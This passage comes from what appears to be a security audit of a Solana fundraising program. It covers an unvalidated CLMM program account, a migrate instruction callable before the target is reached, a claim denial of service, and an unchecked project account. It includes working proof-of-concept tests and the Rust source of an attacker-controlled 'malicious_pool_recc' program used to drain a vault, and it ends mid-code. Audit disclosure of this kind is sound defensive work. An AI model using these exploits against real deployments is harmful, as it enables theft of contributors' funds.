  before("set up two raises and user LP-A", async () => {
    await airdrop(signer.publicKey);

    usdcMint = await createMint(
      provider.connection,
      signer,
      signer.publicKey,
      null,
      6
    );

    lpMintA = Keypair.generate();
    ({
      fundraise: fundraiseA,
      project: projectA,
      vaultAta: vaultA,
    } = await createFundraise({
      lpMint: lpMintA,
      usdcMint,
      target: 100_000 * 1e6,
      bps: 2_500,
      fundraiseEnd: 3,
      projectEnd: 7,
    }));

    userUsdcAta = (
      await getOrCreateAssociatedTokenAccount(
        provider.connection,
        signer,
        usdcMint,
        signer.publicKey
      )
    ).address;

    userLpAtaA = (
      await getOrCreateAssociatedTokenAccount(
        provider.connection,
        signer,
        lpMintA.publicKey,
        signer.publicKey
      )
    ).address;

    // Simulate Fundraise complete with only $20,000
    await mintTo(
      provider.connection,
      signer,
      usdcMint,
      vaultA,
      signer.publicKey,
      20_000 * 1e6
    );
  });

  it("User can drain funds from any fundraise vault by controlling clmm_program account", async () => {

    let vaultABal = await provider.connection.getTokenAccountBalance(vaultA);
    console.log("VaultA balance BEFORE :", vaultABal.value.uiAmountString)

    let userUsdcBATA = getAssociatedTokenAddressSync(usdcMint, signer.publicKey)
    let userUSDCBal = await provider.connection.getTokenAccountBalance(userUsdcBATA);
    console.log("User USDC Balance balance BEFORE :", userUSDCBal.value.uiAmountString)

    let userLPMintBalance = getAssociatedTokenAddressSync(lpMintA.publicKey, signer.publicKey)
    let userLPMintBal = await provider.connection.getTokenAccountBalance(userLPMintBalance);
    console.log("User LP-Mint Balance balance BEFORE :", userLPMintBal.value.uiAmountString)

    // Ensure mint0 < mint1 (Raydium constraint)
    const [mint0, mint1] =
      lpMintA.publicKey.toBase58() < usdcMint.toBase58()
        ? [lpMintA.publicKey, usdcMint]
        : [usdcMint, lpMintA.publicKey];

    const pdas = derivePoolPdas(ammConfigKey, mint0, mint1, -128, 0);
    
    let temp = Keypair.generate();

    // Call multiple times to drain funds from the vault
    await program.methods
      .migrate(
        -120, 
        +120, 
        -128, 
        +0, 
        new anchor.BN(1_000_000)
      )
      .accounts({
        payer: signer.publicKey,
        fundraise: fundraiseA,
        tokenMint0: usdcMint,
        vaultAta: vaultA,
        tokenMint1: lpMintA.publicKey,
        poolState: pdas.poolState,
        ammConfig: ammConfigKey,
        tokenVault0: pdas.tokenVault0,
        tokenVault1: pdas.tokenVault1,
        tickArrayBitmap: pdas.tickArrayBitmap,
        observationState: pdas.observationState,

        positionNftMint: pdas.positionNFTMint.publicKey,
        positionNftAccount: getAssociatedTokenAddressSync(
          pdas.positionNFTMint.publicKey,
          pdas.poolState,
          true
        ),

        metadataAccount: pdas.positionNFTMetadataAccount,

        protocolPosition: temp.publicKey,

        tickArrayLower: pdas.tickArrayLower,
        tickArrayUpper: pdas.tickArrayUpper,

        personalPosition: pdas.personalPosition,
        clmmProgram: new PublicKey("DbD2VLvM2vjSZ7DEyz93KXG2mggBdQjmjRSm6XPBss5"), // ATTACKER CONTROLLED PROGRAM_ID,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([signer, pdas.positionNFTMint])
      .rpc();

    await program.methods
      .migrate(
        -120, // tick_lower_index
        +120, // tick_upper_index
        -128, // tick_array_lower_start_index
        +0, // tick_array_upper_start_index
        new anchor.BN(1_000_000) // liquidity (u64)
      )
      .accounts({
        payer: signer.publicKey,
        fundraise: fundraiseA,
        tokenMint0: usdcMint,
        vaultAta: vaultA,
        tokenMint1: lpMintA.publicKey,
        poolState: pdas.poolState,
        ammConfig: ammConfigKey,
        tokenVault0: pdas.tokenVault0,
        tokenVault1: pdas.tokenVault1,
        tickArrayBitmap: pdas.tickArrayBitmap,
        observationState: pdas.observationState,

        positionNftMint: pdas.positionNFTMint.publicKey,
        positionNftAccount: getAssociatedTokenAddressSync(
          pdas.positionNFTMint.publicKey,
          pdas.poolState,
          true
        ),

        metadataAccount: pdas.positionNFTMetadataAccount,

        protocolPosition: temp.publicKey,

        tickArrayLower: pdas.tickArrayLower,
        tickArrayUpper: pdas.tickArrayUpper,

        personalPosition: pdas.personalPosition,
        clmmProgram: new PublicKey("DbD2VLvM2vjSZ7DEyz93KXG2mggBdQjmjRSm6XPBss5"), // CLMM_PROGRAM_ID,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([signer, pdas.positionNFTMint])
      .rpc();

    vaultABal = await provider.connection.getTokenAccountBalance(vaultA);
    console.log("VaultA balance AFTER :", vaultABal.value.uiAmountString)

    userUsdcBATA = getAssociatedTokenAddressSync(usdcMint, signer.publicKey)
    userUSDCBal = await provider.connection.getTokenAccountBalance(userUsdcBATA);
    console.log("User USDC Balance balance AFTER :", userUSDCBal.value.uiAmountString)

    userLPMintBalance = getAssociatedTokenAddressSync(lpMintA.publicKey, signer.publicKey)
    userLPMintBal = await provider.connection.getTokenAccountBalance(userLPMintBalance);
    console.log("User LP-Mint Balance balance AFTER :", userLPMintBal.value.uiAmountString)

  });
});


use anchor_lang::prelude::*;
use anchor_spl::{associated_token::AssociatedToken, metadata::Metadata, token::Token, token_2022::Token2022, token_interface::{Mint, TokenAccount, TokenInterface}};
use raydium_amm_v3::{
    cpi,
    program::AmmV3,
    states::{AmmConfig, PersonalPositionState, POOL_SEED, POOL_TICK_ARRAY_BITMAP_SEED, POOL_VAULT_SEED},
};
declare_id!("DbD2VLvM2vjSZ7DEyz93KXG2mggBdQjmjRSm6XPBss5");

#[program]
pub mod malicious_pool_recc {
    use super::*;

     pub fn open_position_v2<'a, 'b, 'c: 'info, 'info>(
        ctx: Context<'a, 'b, 'c, 'info, OpenPositionV2<'info>>,
        tick_lower_index: i32,
        tick_upper_index: i32,
        tick_array_lower_start_index: i32,
        tick_array_upper_start_index: i32,
        liquidity: u128,
        amount_0_max: u64,
        amount_1_max: u64,
        with_metadata: bool,
        base_flag: Option<bool>,
    ) -> Result<()> {
        Ok(())
    }

    pub fn create_pool(
        ctx: Context<CreatePool>,
        sqrt_price_x64: u128,
        open_time: u64,
    ) -> Result<()> {
        Ok(())
    }

    pub fn craete_pool_new(
        ctx: Context<ProxyInitialize>,
        sqrt_price_x64: u128,
        open_time: u64,
    ) -> Result<()> {
        let cpi_accounts = cpi::accounts::CreatePool {
            pool_creator: ctx.accounts.pool_creator.to_account_info(),
            amm_config: ctx.accounts.amm_config.to_account_info(),
            pool_state: ctx.accounts.pool_state.to_account_info(),
            token_mint_0: ctx.accounts.token_mint_0.to_account_info(),
            token_mint_1: ctx.accounts.token_mint_1.to_account_info(),
            token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
            token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
            observation_state: ctx.accounts.observation_state.to_account_info(),
            tick_array_bitmap: ctx.accounts.tick_array_bitmap.to_account_info(),
            token_program_0: ctx.accounts.token_program_0.to_account_info(),
            token_program_1: ctx.accounts.token_program_1.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_context =
            CpiContext::new(ctx.accounts.clmm_program.to_account_info(), cpi_accounts);
        cpi::create_pool(cpi_context, sqrt_price_x64, open_time)
    }
}

#[derive(Accounts)]
pub struct ProxyInitialize<'info> {
    /// CHECK: we check this ourselves when building
    pub clmm_program: AccountInfo<'info>,

    /// CHECK: Address paying to create the pool. Can be anyone
    #[account(mut)]
    pub pool_creator: Signer<'info>,

    /// CHECK: Which config the pool belongs to.
    pub amm_config: AccountInfo<'info>,

    /// CHECK: Initialize an account to store the pool state
    #[account(
        mut,
        seeds = [
            POOL_SEED.as_bytes(),
            amm_config.key().as_ref(),
            token_mint_0.key().as_ref(),
            token_mint_1.key().as_ref(),
        ],
        seeds::program = clmm_program,
        bump,
    )]
    pub pool_state: UncheckedAccount<'info>,

    /// Token_0 mint, the key must grater then token_1 mint.
    #[account(
        constraint = token_mint_0.key() < token_mint_1.key(),
        mint::token_program = token_program_0
    )]
    pub token_mint_0: Box<InterfaceAccount<'info, Mint>>,

    /// Token_1 mint
    #[account(
        mint::token_program = token_program_1
    )]
    pub token_mint_1: Box<InterfaceAccount<'info, Mint>>,

    /// CHECK: Token_0 vault for the pool
    #[account(
        mut,
        seeds =[
            POOL_VAULT_SEED.as_bytes(),
            pool_state.key().as_ref(),
            token_mint_0.key().as_ref(),
        ],
        seeds::program = clmm_program,
        bump,
    )]
    pub token_vault_0: UncheckedAccount<'info>,

    /// CHECK: Token_1 vault for the pool
    #[account(
        mut,
        seeds =[
            POOL_VAULT_SEED.as_bytes(),
            pool_state.key().as_ref(),
            token_mint_1.key().as_ref(),
        ],
        seeds::program = clmm_program,
        bump,
    )]
    pub token_vault_1: UncheckedAccount<'info>,

    /// CHECK: Initialize an account to store oracle observations, the account must be created off-chain, constract will initialzied it
    #[account(mut)]
    pub observation_state: UncheckedAccount<'info>,

    /// CHECK: Initialize an account to store if a tick array is initialized.
    #[account(
        mut,
        seeds = [
            POOL_TICK_ARRAY_BITMAP_SEED.as_bytes(),
            pool_state.key().as_ref(),
        ],
        seeds::program = clmm_program,
        bump,
    )]
    pub tick_array_bitmap: UncheckedAccount<'info>,

    /// Spl token program or token program 2022
    pub token_program_0: Interface<'info, TokenInterface>,
    /// Spl token program or token program 2022
    pub token_program_1: Interface<'info, TokenInterface>,
    /// To create a new program account
    pub system_program: Program<'info, System>,
    /// Sysvar for program account
    pub rent: Sysvar<'info, Rent>,
}

#[derive(Accounts)]
pub struct OpenPositionV2<'info> {
    /// CHECK: Ok
    #[account(mut)]
    pub payer: UncheckedAccount<'info>,

    /// CHECK: Receives the position NFT
    pub position_nft_owner: UncheckedAccount<'info>,

    /// CHECK: Unique token mint address
    pub position_nft_mint: UncheckedAccount<'info>,

    /// CHECK: Safety check performed inside function body
    pub position_nft_account: UncheckedAccount<'info>,

    /// CHECK: To store metaplex metadata
    pub metadata_account: UncheckedAccount<'info>,

    /// CHECK: Add liquidity for this pool
    pub pool_state: UncheckedAccount<'info>,

    /// CHECK: Deprecated: protocol_position is deprecated and kept for compatibility.
    pub protocol_position: UncheckedAccount<'info>,

    /// CHECK: Account to store data for the position's lower tick
    pub tick_array_lower: UncheckedAccount<'info>,

    /// CHECK: Account to store data for the position's upper tick
    pub tick_array_upper: UncheckedAccount<'info>,

    /// CHECK: personal position state
    pub personal_position: UncheckedAccount<'info>,

    /// CHECK: The token_0 account deposit token to the pool
    pub token_account_0: UncheckedAccount<'info>,

    /// CHECK: The token_1 account deposit token to the pool
    pub token_account_1: UncheckedAccount<'info>,

    /// CHECK: The address that holds pool tokens for token_0
    pub token_vault_0: UncheckedAccount<'info>,

    /// CHECK: The address that holds pool tokens for token_1
    pub token_vault_1: UncheckedAccount<'info>,

    /// CHECK: Sysvar for token mint and ATA creation
    pub rent: UncheckedAccount<'info>,

    /// CHECK: Program to create the position manager state account
    pub system_program: UncheckedAccount<'info>,

    /// CHECK: Program to create mint account and mint tokens
    pub token_program: UncheckedAccount<'info>,
    /// CHECK: Program to create an ATA for receiving position NFT
    pub associated_token_program: UncheckedAccount<'info>,

    /// CHECK: Metadata program address constraint applied
    pub metadata_program: UncheckedAccount<'info>,
    /// CHECK: Program to create mint account and mint tokens
    pub token_program_2022: UncheckedAccount<'info>,
    /// CHECK: The mint of token vault 0
    pub vault_0_mint: UncheckedAccount<'info>,
    /// CHECK: The mint of token vault 1
    pub vault_1_mint: UncheckedAccount<'info>,
}

#[derive(Accounts)]
pub struct CreatePool<'info> {
    /// CHECK: Address paying to create the pool. Can be anyone
    #[account(mut)]
    pub pool_creator: Signer<'info>,

    /// CHECK: Which config the pool belongs to.
    pub amm_config: UncheckedAccount<'info>,

    /// CHECK: Initialize an account to store the pool state
    pub pool_state: UncheckedAccount<'info>,

    /// CHECK: Token_0 mint, the key must be smaller then token_1 mint.
    pub token_mint_0: UncheckedAccount<'info>,

    /// CHECK: Token_1 mint
    #[account(
        mint::token_program = token_program_1
    )]
    pub token_mint_1: UncheckedAccount<'info>,

    /// CHECK: Token_0 vault for the pool, initialized in contract
    pub token_vault_0: UncheckedAccount<'info>,

    /// CHECK: Token_1 vault for the pool, initialized in contract
    pub token_vault_1: UncheckedAccount<'info>,

    /// CHECK: Initialize an account to store oracle observations
    pub observation_state: UncheckedAccount<'info>,

    /// CHECK: Initialize an account to store if a tick array is initialized.
    pub tick_array_bitmap: UncheckedAccount<'info>,

    /// CHECK: Spl token program or token program 2022
    pub token_program_0: UncheckedAccount<'info>,
    /// CHECK: Spl token program or token program 2022
    pub token_program_1: UncheckedAccount<'info>,
    /// CHECK: To create a new program account
    pub system_program: UncheckedAccount<'info>,
    /// CHECK: Sysvar for program account
    pub rent: UncheckedAccount<'info>,
}

Result of running the testcase



BVSS
Recommendation

It is recommended to validate that clmm_program passed in migrate instruction matches Raydium clmm_program.

Remediation Comment

SOLVED: The RECC team solved the finding by commenting out the migrate instruction.

Remediation Hash
eb0bf45999c996a0ab181abf3c8f935dca15cf7b

7.3 Unrestricted migrate Invocation Before Target Reached Causes Fund Misallocation

//

Medium

Description

The protocol currently allows the migrate instruction to be invoked by anyone for any fundraise, without validating whether the target_amount was actually reached. This can lead to the following unintended scenarios:


  1. Transaction Failure

    • If the vault balance is less than (target_amount / 10), the transfer_checked CPI fails because the required liquidity amount cannot be transferred. This prevents the creation of the secondary market.

    • Example: Target = $100,000 → liquidity_amount = $10,000. Vault has only $5,000 raised. Since $5,000 < $10,000, the transfer fails, and the migration aborts.

  2. Pool creation with more funds than expected

    • If the vault balance is only slightly above (target_amount / 10), the instruction still transfers a fixed 10% of the target amount, not the actual balance, which can result in a much larger percentage of raised funds being moved to Raydium than intended.

    • Example: Target = $100,000 → liquidity_amount = $10,000. Vault has $20,000 raised (≥ $10,000). The migration transfers $10,000 (50% of contributors’ funds), leaving only $10,000 instead of the intended 90% in the vault.


program/src/instructions/migrate.rs

impl Migrate<'_> {
  #[inline(never)]
  pub fn validate(&self) -> Result<()> {
    // todo() check that we have the 10% in the vault ata

    return Ok(());
  }

  #[access_control(ctx.accounts.validate())]
  pub fn migrate(
    ctx: Context<Migrate>,
    tick_lower_index: i32,
    tick_upper_index: i32,
    tick_array_lower_start_index: i32,
    tick_array_upper_start_index: i32,
    liquidity: u64
  ) -> Result<()> {
    // _ create pool
    // assuming we want our tokens to be pegged 1:1
    let price: f64 = 1.0;
    let sqrt_price = price.sqrt(); // = 1.0
    let sqrt_price_x64 = (sqrt_price * (2f64).powi(64)).round() as u128;

    let create_pool_accounts = CreatePool {
      pool_creator: ctx.accounts.payer.to_account_info(),
      amm_config: ctx.accounts.amm_config.to_account_info(),
      pool_state: ctx.accounts.pool_state.to_account_info(),
      token_mint_0: ctx.accounts.token_mint_0.to_account_info(),
      token_mint_1: ctx.accounts.token_mint_1.to_account_info(),
      token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
      token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
      observation_state: ctx.accounts.observation_state.to_account_info(),
      tick_array_bitmap: ctx.accounts.tick_array_bitmap.to_account_info(),
      token_program_0: ctx.accounts.token_program.to_account_info(),
      token_program_1: ctx.accounts.token_program.to_account_info(),
      system_program: ctx.accounts.system_program.to_account_info(),
      rent: ctx.accounts.rent.to_account_info(),
    };
    let cpi_context = CpiContext::new(
      ctx.accounts.clmm_program.to_account_info(),
      create_pool_accounts
    );
    create_pool(cpi_context, sqrt_price_x64, 0)?;

    // todo,
    // todo: mint lp and contribution tokens to the  token_account_1 and token_account_0

    // transfer to the temp token accounts
    let liquidity_amount = ctx.accounts.fundraise.target_amount
      .checked_div(10)
      .ok_or(ReccErrorCode::MathOverflow)?;
    let cpi_program = ctx.accounts.token_program.to_account_info();

    // doing this to check which one is the contribution mint and lp mint
    let contribution_mint_key = ctx.accounts.vault_ata.mint;
    let is_contribution_mint_0 =
      contribution_mint_key == ctx.accounts.token_mint_0.key();

    let (contribution_mint, lp_mint) = if is_contribution_mint_0 {
      (ctx.accounts.token_mint_0.clone(), ctx.accounts.token_mint_1.clone())
    } else {
      (ctx.accounts.token_mint_1.clone(), ctx.accounts.token_mint_0.clone())
    };
    //
    let (contribution_mint_ta, lp_mint_ta) = if is_contribution_mint_0 {
      (
        ctx.accounts.token_account_0.clone(),
        ctx.accounts.token_account_1.clone(),
      )
    } else {
      (
        ctx.accounts.token_account_1.clone(),
        ctx.accounts.token_account_0.clone(),
      )
    };

    // if it's the contribution mint we want to transfer it
    let lp_mint_key = lp_mint.key();
    let fundraise_bump = &[ctx.accounts.fundraise.bump];
    let signer_seeds = &[
      &[Fundraise::SEED.as_bytes(), lp_mint_key.as_ref(), fundraise_bump][..],
    ];

    let cpi_accounts = TransferChecked {
      from: ctx.accounts.vault_ata.to_account_info(),
      mint: contribution_mint.to_account_info(),
      to: contribution_mint_ta.to_account_info(),
      authority: ctx.accounts.fundraise.to_account_info(),
    };
    let transfer_cpi_context = CpiContext::new_with_signer(
      cpi_program.clone(),
      cpi_accounts,
      signer_seeds
    );
    token_interface::transfer_checked(
      transfer_cpi_context,
      liquidity_amount,
      contribution_mint.decimals
    )?;

    // // if it's the lp mint we want to mint it
    let mint_to_cpi_accounts = MintTo {
      mint: lp_mint.to_account_info().clone(),
      to: lp_mint_ta.to_account_info().clone(),
      authority: ctx.accounts.fundraise.to_account_info(),
    };
    let mint_to_cpi_context = CpiContext::new_with_signer(
      cpi_program,
      mint_to_cpi_accounts,
      signer_seeds
    );
    token_interface::mint_to(mint_to_cpi_context, liquidity_amount)?;

    // -------

    // _ open position
    // _ because we allow anyone to call this position, the position nft authority
    // _ is the fundraise PDA.
    // _ con - create another ix to manage it e.g transfer/burn
    let open_position_accounts = OpenPositionV2 {
      payer: ctx.accounts.payer.to_account_info(),
      position_nft_owner: ctx.accounts.fundraise.to_account_info(),
      position_nft_mint: ctx.accounts.position_nft_mint.to_account_info(),
      position_nft_account: ctx.accounts.position_nft_account.to_account_info(),
      metadata_account: ctx.accounts.metadata_account.to_account_info(),
      pool_state: ctx.accounts.pool_state.to_account_info(),
      protocol_position: ctx.accounts.protocol_position.to_account_info(),
      tick_array_lower: ctx.accounts.tick_array_lower.to_account_info(),
      tick_array_upper: ctx.accounts.tick_array_upper.to_account_info(),
      personal_position: ctx.accounts.personal_position.to_account_info(),
      token_account_0: ctx.accounts.token_account_0.to_account_info(),
      token_account_1: ctx.accounts.token_account_1.to_account_info(),
      token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
      token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
      rent: ctx.accounts.rent.to_account_info(),
      system_program: ctx.accounts.system_program.to_account_info(),
      token_program: ctx.accounts.token_program.to_account_info(),
      associated_token_program: ctx.accounts.associated_token_program.to_account_info(),
      metadata_program: ctx.accounts.metadata_program.to_account_info(),
      token_program_2022: ctx.accounts.token_program_2022.to_account_info(),
      vault_0_mint: ctx.accounts.token_mint_0.to_account_info(),
      vault_1_mint: ctx.accounts.token_mint_1.to_account_info(),
    };
    let cpi_context = CpiContext::new(
      ctx.accounts.clmm_program.to_account_info(),
      open_position_accounts
    );

    open_position_v2(
      cpi_context,
      tick_lower_index,
      tick_upper_index,
      tick_array_lower_start_index,
      tick_array_upper_start_index,
      liquidity as u128,
      liquidity_amount, // amount_0_max,
      liquidity_amount, // amount_1_max,
      true,
      Some(true) // ! should this be true
    )?;

    Ok(())
  }
}

BVSS
Recommendation

It is recommended to only transfer 10% of the raised when the target_amount is reached.

Remediation Comment

SOLVED: The RECC team solved the finding by commenting out the migrate instruction.

Remediation Hash
eb0bf45999c996a0ab181abf3c8f935dca15cf7b

7.4 First Claim Can Block All Subsequent Claims

//

Medium

Description

In the claim instruction, the program validates that the vault token account balance is greater than or equal to the entire expected project payout amount (target_amount + yield) before allowing any claim. This check is evaluated against the live vault balance for every claim. Once the first user claims, the vault balance drops below the full expected payout amount, causing all subsequent claims to fail with VaultNotCredited. As a result, contributors who do not claim first are permanently blocked from retrieving their funds.


  pub fn validate(&self) -> Result<()> {
    if !self.project.is_complete()? {
      return err!(ReccErrorCode::ProjectIncomplete);
    }

    let is_vault_credited = is_vault_ata_credited(
      self.vault_ata.amount,
      self.fundraise.target_amount,
      self.project.estimated_yield_bps
    )?;

    if !is_vault_credited {
      return err!(ReccErrorCode::VaultNotCredited);
    }

    return Ok(());
  }

pub fn is_vault_ata_credited(
  vault_ata_bal: u64,
  fundraise_amt: u64,
  estimated_yield_bps: u16
) -> Result<bool> {
  let fundraise_amt_u128 = fundraise_amt as u128;

  let expected_balance = fundraise_amt_u128
    .checked_mul(10000 + (estimated_yield_bps as u128))
    .ok_or(ProgramError::ArithmeticOverflow)?
    .checked_div(10000)
    .ok_or(ProgramError::ArithmeticOverflow)?;

  let expected_balance_u64 = u64
    ::try_from(expected_balance)
    .map_err(|_| ProgramError::ArithmeticOverflow)?;

  Ok(vault_ata_bal >= expected_balance_u64)
}

Proof of Concept
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
  createMint,
  getAssociatedTokenAddressSync,
  getOrCreateAssociatedTokenAccount,
  mintTo,
  TOKEN_PROGRAM_ID,
  tokenMetadataUpdateFieldWithRentTransfer,
  transfer,
} from "@solana/spl-token";
import {
  Keypair,
  LAMPORTS_PER_SOL,
  PublicKey,
  Signer,
  SystemProgram,
} from "@solana/web3.js";
import { expect } from "chai";

anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey(
  "metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
);

const wait = (ms: number) => new Promise((r) => setTimeout(r, ms));

const uiToBn = (
  bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
) => new anchor.BN(bal.value.amount);

async function airdrop(pubkey: PublicKey, sol = 100) {
  await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
  await wait(1_000);
}

async function createFundraise({
  lpMint,
  usdcMint,
  target,
  bps,
  fundraiseEnd,
  projectEnd,
}: {
  lpMint: Signer;
  usdcMint: PublicKey;
  target: number;
  bps: number;
  fundraiseEnd: number;
  projectEnd: number;
}) {
  const [fundraise] = PublicKey.findProgramAddressSync(
    [Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
    program.programId
  );
  const [project] = PublicKey.findProgramAddressSync(
    [Buffer.from("project"), lpMint.publicKey.toBuffer()],
    program.programId
  );
  const vaultAta = getAssociatedTokenAddressSync(
    usdcMint,
    fundraise,
    true,
    TOKEN_PROGRAM_ID
  );

  const now = (await provider.connection.getBlockTime(
    await provider.connection.getSlot()
  ))!;
  const DAY10 = 86400 * 10;

  const [metadataPda, _] = await PublicKey.findProgramAddressSync(
    [
      Buffer.from("metadata"),
      METADATA_PROGRAM_ID.toBuffer(),
      lpMint.publicKey.toBuffer(),
    ],
    METADATA_PROGRAM_ID
  );

  await program.methods
    .createFundraise(
      {
        targetAmount: new anchor.BN(target),
        fundraiseStart: new anchor.BN(now),
        fundraiseEnd: new anchor.BN(now + fundraiseEnd),
        projectEnd: new anchor.BN(now + projectEnd),
        estimatedYieldBps: bps,
        presaleMerkleRoot: Array(32).fill(0),
      },
      { name: "LP", symbol: "LP", uri: "https://example.com" }
    )
    .accounts({
      authority: signer.publicKey,
      lpMint: lpMint.publicKey,
      contributionMint: usdcMint,
      lpTokenMetadataAccount: metadataPda,
      tokenProgram: TOKEN_PROGRAM_ID,
    })
    .signers([signer, lpMint])
    .rpc();

  return { fundraise, project, vaultAta };
}

describe("Claim DOS", () => {
  let usdcMint: PublicKey;

  let lpMintA;
  let fundraiseA: PublicKey, projectA: PublicKey, vaultA;

  let userLpAtaA: PublicKey;
  let userUsdcAta: PublicKey;

  let users = []
  let users_usdc_atas = []
  let users_lp_atas = []

  before("set up two raises and user LP-A", async () => {
    await airdrop(signer.publicKey);

    usdcMint = await createMint(
      provider.connection,
      signer,
      signer.publicKey,
      null,
      6
    );

    // Project with 25% bps and $100,000 raise
    lpMintA = Keypair.generate();
    ({
      fundraise: fundraiseA,
      project: projectA,
      vaultAta: vaultA,
    } = await createFundraise({
      lpMint: lpMintA,
      usdcMint,
      target: 125_000 * 1e6,
      bps: 2_500,
      fundraiseEnd: 20,
      projectEnd: 20,
    }));

    for (let i=0;i < 5; i++)  {

        users[i] = Keypair.generate()

        await airdrop(users[i].publicKey, 10 * LAMPORTS_PER_SOL);
        await wait(1000);
        
        users_usdc_atas[i] =  await getOrCreateAssociatedTokenAccount(
            provider.connection,
            signer,
            usdcMint,
            users[i].publicKey
        );

        let contribute_amount = 25_000 * 1e6
        await mintTo(
            provider.connection,
            signer,
            usdcMint,
            users_usdc_atas[i].address,
            signer,
            contribute_amount
        );

        users_lp_atas[i] = await getOrCreateAssociatedTokenAccount(
            provider.connection, 
            signer, 
            lpMintA.publicKey, 
            users[i].publicKey
        );

        await program.methods
        .contribute(new anchor.BN(contribute_amount), null)
        .accounts({
            authority: users[i].publicKey,
            fundraise: fundraiseA,
            project: projectA,
            lpMint: lpMintA.publicKey,
            contributionMint: usdcMint,
            authorityContributionAta: users_usdc_atas[i].address,
            authorityLpAta: users_lp_atas[i].address,
            vaultAta: vaultA,
            tokenProgram: TOKEN_PROGRAM_ID,
        })
        .signers([users[i]])
        .rpc();
    }

    let vaultABalance = await provider.connection.getTokenAccountBalance(vaultA);
    console.log("VaultA balance after contributions: ", vaultABalance.value.uiAmount)

    // Simulate Repayment:: Principal + Yield, $125,000 + 31,250 = $156,250
    // BUG: Only passes if vault.balance is always greater than yield + principal
    const additonal_yield = (31_250 ) * 1e6;
    await mintTo(
      provider.connection,
      signer,
      usdcMint,
      vaultA,
      signer.publicKey,
      additonal_yield
    );
    
    vaultABalance = await provider.connection.getTokenAccountBalance(vaultA);
    console.log("VaultA balance after Repayment: ", vaultABalance.value.uiAmount)

  });

  it("Claim DOS", async () => {

    let protocolVault = new PublicKey("5KgfWjGePnbFgDAuCqxB5oymuFxQskvCtrw6eYfDa7fj");
    await getOrCreateAssociatedTokenAccount(
        provider.connection,
        signer,
        usdcMint,
        protocolVault,
        true
    )

    await wait(5000);

    for (let i = 0; i <  users.length; i++) {
    
        await program.methods
          .claim()
          .accounts({
            authority:                users[i].publicKey,
            fundraise:                fundraiseA,  
            project:                  projectA,    
            lpMint:                   lpMintA.publicKey,
            contributionMint:         usdcMint,
            authorityLpAta:           users_lp_atas[i].address,
            authorityContributionAta: users_usdc_atas[i].address,
            vaultAta:                 vaultA,
            protocolVault,            
            systemProgram:            SystemProgram.programId,
            tokenProgram:             TOKEN_PROGRAM_ID,
            associatedTokenProgram:   anchor.utils.token.ASSOCIATED_PROGRAM_ID,
          })
          .signers([users[i]])
          .rpc();

        let userUSDCBalance = await provider.connection.getTokenAccountBalance(users_usdc_atas[i].address);
        console.log(`Index[${i}] :: User usdc balance after claim::`, userUSDCBalance.value.uiAmount)

        let userLPBalance = await provider.connection.getTokenAccountBalance(users_lp_atas[i].address);
        console.log(`Index[${i}] :: User lp balance after claim::`, userLPBalance.value.uiAmount)

        let vaultABalance = await provider.connection.getTokenAccountBalance(vaultA);
        console.log("VaultA balance after Claim: ", vaultABalance.value.uiAmount)

    }

  })

});




BVSS
Recommendation

It is recommended to introduce a new instruction that tops up the vault and sets a new isCredited = true flag, then update the claim instruction to allow claims only when isCredited is true, removing the current balance check i.e is_vault_ata_credited().

Remediation Comment

SOLVED: The RECC team resolved the finding by only checking if the balance in the vault is greater than zero.

Remediation Hash
2608d373cbd27ddc678442a4055c097e86b47174

7.5 Missing validation in claim instruction allow pre-mature withdraw of locked funds

//

Low

Description

The claim instruction allows contributors to redeem their principal and yield once the project is completed and the vault is funded. It uses fields such as estimated_yield_bps and is_complete() from the project account for validation and reward calculation.


However, the instruction does not validate that the provided project is actually associated with the fundraise. This allows users to supply any unrelated project account, which introduces multiple inconsistencies:


  1. A malicious actor with a large LP balance could strategically exit early by providing a completed project from another fundraise, withdrawing his locked funds.

  2. A contributor may supply a project with a different estimated_yield_bps, resulting in an incorrect claim amount potentially less than what they’re owed.

program/src/instructions/claim.rs

#[derive(Accounts)]
pub struct Claim<'info> {
  #[account(mut)]
  pub authority: Signer<'info>,

  #[account(mut)]
  pub fundraise: Account<'info, Fundraise>,

  #[account(mut)]
  pub project: Account<'info, Project>,

  #[account(
    mut,
    associated_token::mint = lp_mint,
    associated_token::authority = authority,
  )]
  pub authority_lp_ata: InterfaceAccount<'info, TokenAccount>,

  #[account(
    mut,
    associated_token::mint = contribution_mint,
    associated_token::authority = authority,
  )]
  pub authority_contribution_ata: InterfaceAccount<'info, TokenAccount>,

  #[account(
    mut,
    associated_token::mint = contribution_mint,
    associated_token::authority = fundraise,
  )]
  pub vault_ata: InterfaceAccount<'info, TokenAccount>,

  // mint of the lp tokens
  #[account(mut)]
  pub lp_mint: InterfaceAccount<'info, Mint>,

  // mint of the token that will be used for contributing
  #[account(mut)]
  pub contribution_mint: InterfaceAccount<'info, Mint>,

  /// CHECK: we check the address
  #[account(mut, address = pubkey!(PROTOCOL_VAULT_ADDRESS))]
  pub protocol_vault: UncheckedAccount<'info>,

  #[account(
    init_if_needed,
    payer = authority,
    associated_token::mint = contribution_mint,
    associated_token::authority = protocol_vault,
    associated_token::token_program = token_program
  )]
  pub protocol_vault_ata: InterfaceAccount<'info, TokenAccount>,

  pub system_program: Program<'info, System>,

  pub token_program: Interface<'info, TokenInterface>,

  pub associated_token_program: Program<'info, AssociatedToken>,
} // you can claim your yield plus initial investment

impl Claim<'_> {
  pub fn validate(&self) -> Result<()> {
    if !self.project.is_complete()? {
      return err!(ReccErrorCode::ProjectIncomplete);
    }

